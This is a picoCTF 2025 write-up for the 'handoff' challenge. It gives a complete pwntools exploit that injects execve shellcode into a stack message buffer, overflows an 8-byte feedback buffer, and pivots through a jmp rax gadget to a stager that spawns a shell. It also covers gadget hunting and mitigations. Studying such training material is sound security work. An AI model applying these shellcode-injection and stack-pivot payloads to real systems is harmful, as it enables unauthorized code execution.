handoff picoCTF 2025 Solution

Published: April 2, 2025

Description

A messaging program stores recipients and their messages on the stack. NX is disabled and PIE is off. Add one recipient and store shellcode in entries[0].msg, then overflow the feedback buffer to redirect execution through a jmp rax gadget, which lands on a stager that pivots rsp into the shellcode stored in entry 0's message buffer.

Download the binary and source from the picoCTF challenge page.

Check the binary protections - NX is off (stack executable) and PIE is disabled (fixed addresses). That combination is the green light for shellcode injection.

Hunt for the jmp rax gadget so you have its fixed address ready.

Study the struct layout: each entry has an 8-byte name and a 64-byte message buffer.

bash
checksec --file=handoff
bash
ROPgadget --binary handoff | grep 'jmp rax'
bash
nc <INSTANCE_HOST> <PORT_FROM_INSTANCE>

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
This is a classic stack-pivot pwn; the Buffer Overflow Binary Exploitation guide walks through return-address overwrites, and Pwntools for CTF covers shellcraft.sh(), asm(), and the network plumbing used here.
  1. Step 1
    Understand the program structure and find the bugs
    Observation
    I noticed that checksec reported NX disabled and PIE off, and the source showed fgets reading 32 bytes into an 8-byte feedback buffer, which suggested the exit option was the overflow site and that shellcode injection through a fixed-address gadget was the intended path.
    Three options: add recipient (option 1), send message (option 2), exit (option 3). Each entry is 8 bytes for the name and 64 bytes for the message. The exit option reads 32 bytes via fgets into only an 8-byte feedback buffer. Since RAX holds the return value of fgets (the address of the feedback buffer), and since we can use a jmp rax gadget at a fixed address (no PIE), we can redirect to our feedback buffer and pivot from there. The source shows the name buffer is only 8 bytes even though NAME_LEN is 32 - the name field is truncated in the struct, which is a separate bug, but the key overflow is in the exit feedback.
    bash
    # Each entry struct:
    # struct entry { char name[8]; char msg[64]; };
    # entry entries[10];
    # The feedback buffer in exit is 8 bytes; fgets reads 32.
    # Overflow: 8 bytes feedback + 4 bytes padding + 8 bytes saved RBP = 20 bytes in.
    What didn't work first

    Tried: Overflow the name buffer in option 1 (add recipient) instead of the feedback buffer in option 3 (exit).

    The name field is truncated to 8 bytes in the struct, so writing a long name corrupts adjacent struct memory rather than reaching a saved return address. The exit feedback buffer is the correct overflow site because fgets reads 32 bytes into an 8-byte buffer, and that buffer sits directly below the saved RIP on the stack frame of the exit handler.

    Tried: Use gdb to calculate the overflow offset as 8 bytes (feedback buffer size) without accounting for alignment or saved RBP.

    The x86-64 stack frame includes a saved RBP between the local buffer and the return address, adding 8 more bytes. The correct offset to RIP is 8 (feedback) + 4 (padding to alignment) + 8 (saved RBP) = 20 bytes, not 8. Writing the gadget address at byte 8 overwrites RBP instead of RIP and the function returns to a garbage address.

    Learn more

    NX (No-eXecute) is a hardware protection that marks memory regions as either executable or writable but not both. With NX disabled, data on the stack can be executed as machine code. The checksec utility confirms this; seeing NX disabled means shellcode injection is viable. With no PIE, all code addresses are fixed, so the jmp rax gadget is always at the same address across runs.

    The key insight is that fgets returns the address of the buffer it just filled - stored in rax. After the overflow overwrites the return address with the address of a jmp rax gadget, execution jumps to the feedback buffer. The feedback buffer holds a small stager that pivots rsp backward on the stack into the 64-byte message buffer of entry 0, where the NOP sled and real shellcode live.

  2. Step 2
    Add one recipient and store shellcode in entry 0
    Observation
    I noticed that entries[0].msg is a 64-byte buffer on the stack, large enough to hold a NOP sled plus shellcraft payload, and the stager uses a hardcoded 0x2e8 offset back to exactly that buffer, which suggested allocating exactly one recipient and writing shellcode there before triggering the overflow.
    Add 1 recipient (option 1, once) with any name. Then send the main shellcode as the message to recipient 0 (option 2, index 0). The shellcode lands in entries[0].msg. Pad the shellcode up to 64 bytes with NOPs so the stager always jumps into the NOP sled and reaches the real payload. The stager in the feedback buffer does nop; sub rsp, 0x2e8; jmp rsp, moving the stack pointer 744 bytes backward on the stack and jumping there - right into entries[0].msg.
    python
    from pwn import *
    context.arch = 'amd64'
    p = remote('<INSTANCE_HOST>', <PORT_FROM_INSTANCE>)
    shellcode = asm(shellcraft.sh())
    nop_sled = asm('nop') * (63 - len(shellcode))
    
    # Add 1 recipient so entry 0 is allocated
    p.sendlineafter(b'Exit', b'1')
    p.sendlineafter(b"recipient's name:", b'exploit')
    
    # Send shellcode as message to recipient 0
    p.sendlineafter(b'Exit', b'2')
    p.sendlineafter(b'send a message to?', b'0')
    p.sendlineafter(b'What message', nop_sled + shellcode)
    What didn't work first

    Tried: Allocate more than one recipient to give the shellcode extra room, adding entries 1 and 2 before sending the shellcode.

    The stager uses a hardcoded offset of 0x2e8 (744 bytes) subtracted from RSP to reach entries[0].msg. Adding extra entries shifts the stack layout so the calculated pivot lands in unrelated stack memory rather than the shellcode. Only one recipient should be allocated so the stack layout matches the offset baked into the stager.

    Tried: Send the shellcode without a NOP sled, filling all 64 bytes with shellcode bytes and relying on the stager to land on the first byte exactly.

    The stager lands at whatever address RSP points to after the subtraction, which may be a few bytes off from the exact start of entries[0].msg due to stack alignment or minor layout differences between environments. Without a NOP sled, even a 4-byte misalignment causes the CPU to decode mid-instruction garbage and crash. Padding the front with NOPs gives the stager a safe landing zone.

    Learn more

    pwntools' shellcraft module generates minimal x86-64 shellcode to call execve("/bin/sh", NULL, NULL). The 64-byte message buffer in entries[0] is more than large enough; typical shellcraft output is around 44 bytes. Padding the front with NOPs creates a sled so the stager does not need to land on exactly the first byte of the shellcode instruction.

    Only one recipient needs to be allocated. The stager subtracts a fixed offset of 0x2e8 (744 bytes) from RSP to land in entries[0].msg. That offset reflects the distance from the feedback buffer to the first entry on the stack; allocating additional entries beyond entry 0 would shift the layout and break the offset.

  3. Step 3
    Overflow feedback and pivot to shellcode via jmp rax
    Observation
    I noticed that fgets stores its return value (the feedback buffer address) in rax and that ROPgadget found a jmp rax gadget at a fixed address (0x40116c), which suggested writing a stager into the feedback buffer and overwriting the return address with that gadget to redirect execution without needing a stack leak.
    Choose option 3 (exit). Build the payload: the stager bytes (nop; sub rsp, 0x2e8; jmp rsp assembled, ~10 bytes), NOP padding to reach byte 20, then the 8-byte jmp rax gadget address (0x40116c). When the function returns, execution jumps to the jmp rax gadget. RAX still holds the feedback buffer address (fgets return value), so jmp rax executes the stager. The stager subtracts 0x2e8 from rsp (moving the stack pointer 744 bytes backward, into entries[0].msg) and jumps rsp there - right into the NOP sled and shellcode.
    bash
    # Find the jmp rax gadget address:
    # ROPgadget --binary handoff | grep 'jmp rax'
    JMP_RAX = 0x000000000040116c
    
    stager = asm('nop; sub rsp, 0x2e8; jmp rsp')  # ~10 bytes
    # Pad to 20 bytes (feedback at offset 0, return address at offset 20)
    payload = stager + b'\x00' * (20 - len(stager)) + p64(JMP_RAX)
    assert len(payload) <= 32, "payload must fit the 32-byte fgets read"
    
    p.sendlineafter(b'Exit', b'3')
    p.sendline(payload)
    p.interactive()
    What didn't work first

    Tried: Use a ret2shellcode approach by overwriting RIP directly with the address of entries[0].msg instead of routing through the jmp rax gadget.

    entries[0].msg is on the stack, so its address is subject to ASLR even though the binary itself has no PIE. Without a prior stack address leak, the address of msg is unknown at exploit time. The jmp rax gadget sidesteps ASLR entirely because fgets returns the feedback buffer address in rax, and that address is already known at the moment of the ret instruction - no leak needed.

    Tried: Place the full shellcode directly in the feedback buffer payload instead of using a stager, since the feedback buffer is executable with NX disabled.

    The feedback buffer is only 8 bytes before the return address; after the 20-byte payload (stager + padding + gadget address), there are at most 12 bytes left for code - far too small for a working execve shell payload (typically 44+ bytes). The stager exists precisely to bridge to the 64-byte message buffer in entries[0], which is large enough to hold the real shellcode.

    Learn more

    When the exit function returns, the CPU reads the overwritten return address and jumps to the jmp rax gadget. At that point, rax holds the address of the feedback buffer because the x86-64 SysV ABI returns function results in rax, and fgets returns its buffer pointer. This persists through the function epilogue, making jmp rax jump directly to the stager at the start of the feedback buffer.

    The stager does sub rsp, 0x2e8 (subtract 744 decimal) which moves the stack pointer backward 744 bytes - landing inside entries[0].msg, where the NOP sled and shellcode live. Then jmp rsp transfers control there. The offset 0x2e8 was determined by analyzing the stack layout: entries[0].msg is positioned approximately 744 bytes before the feedback buffer in memory.

    A leading nop is prepended to the stager because fgets automatically null-terminates the buffer, zeroing byte index 7 of the feedback field. The null overwrite can corrupt the first byte of whatever instruction sits there; the NOP absorbs that corruption without affecting the real stager instructions that follow.

    The jmp rax gadget is found by scanning the binary with ROPgadget --binary handoff | grep "jmp rax". Because PIE is disabled, the gadget's address is fixed at 0x40116c regardless of ASLR. In a PIE binary you would first need to leak a code address.

Interactive tools
  • Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
  • pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.

Flag

Reveal flag

picoCTF{p1v0ted_ftw_...}

Add 1 recipient, store shellcode (with NOP sled) in entry 0's message, overflow feedback with a stager (nop; sub rsp, 0x2e8; jmp rsp) + padding + jmp rax gadget address. Execution flows: ret -> jmp rax gadget -> stager -> pivots rsp into entries[0].msg -> shellcode.

Key takeaway

Stack pivoting is a technique that redirects the stack pointer into attacker-controlled memory, bridging the gap between a small overflow (too little space for full shellcode) and a larger payload staged elsewhere. When NX is disabled, any writable memory region can double as an execution surface; when PIE is also absent, gadget addresses are fixed and predictable, making the chain trivial to construct without a prior leak. Modern binaries enable NX, PIE, stack canaries, and ASLR together precisely because each mitigation alone is bypassable, but all four in combination force attackers to chain multiple primitives just to begin.

How to prevent this

This exploit chains a buffer overflow with disabled NX. Either mitigation alone breaks it.

  • Bounds-check the read into the feedback buffer. read(fd, buf, sizeof(buf)), or use fgets with the buffer length. scanf("%s") and gets are unsafe by design.
  • Compile with NX (-z noexecstack, the default in modern toolchains). With NX on, even a successful return-address overwrite cannot execute shellcode placed in stack/heap data; the attacker is forced into ROP, which adds a large prerequisite (gadget hunt + leak).
  • Add PIE (-fPIE -pie) and stack canaries (-fstack-protector-strong). PIE randomizes jmp rax gadget addresses; canaries detect the overflow before ret ever executes.

Related reading

Want more picoCTF 2025 writeups?

Tools used in this challenge

What to try next